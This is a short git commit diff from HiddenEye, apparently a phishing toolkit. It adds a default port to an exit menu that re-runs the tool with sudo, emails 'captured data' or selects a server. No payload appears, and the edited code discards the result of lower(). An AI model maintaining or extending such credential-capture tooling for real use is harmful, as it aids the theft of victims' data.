Fixed port error, set default value in case there's nothing entered

This commit is contained in:
sTiKyt 2020-05-11 11:55:43 +03:00
parent 139f9cb5d5
commit 76187d2070
No known key found for this signature in database
GPG Key ID: 510E1C3C9B2414B4

View File

@ -7,12 +7,12 @@ import Defs.LocalizationManager.lang_global_usage as global_localization
default_palette = theme.default_palette
def exit_message(port): # Message when HiddenEye exit
choice = input(
"\n\n{0}[{1}?{0}] Re-run(r) : Exit(x) : Send Email(M) : SelectServer(S)\n\n >> {2}".format(default_palette[0], default_palette[4], default_palette[2])).upper()
if choice == 'R' or choice == 'r':
run_command('sudo python3 HiddenEye.py')
elif choice == 'M' or choice == 'm':
def exit_message(port = 80): # Message when HiddenEye exit
choice = input(localization.lang_exit_message["choice"])
choice.lower()
if choice == 'r':
run_command(['sudo', 'python3', 'HiddenEye.py'])
elif choice == 'm':
email_prompt.captured_data_email_confirmation(port)
elif choice == 's':
server_menu.server_selection(port)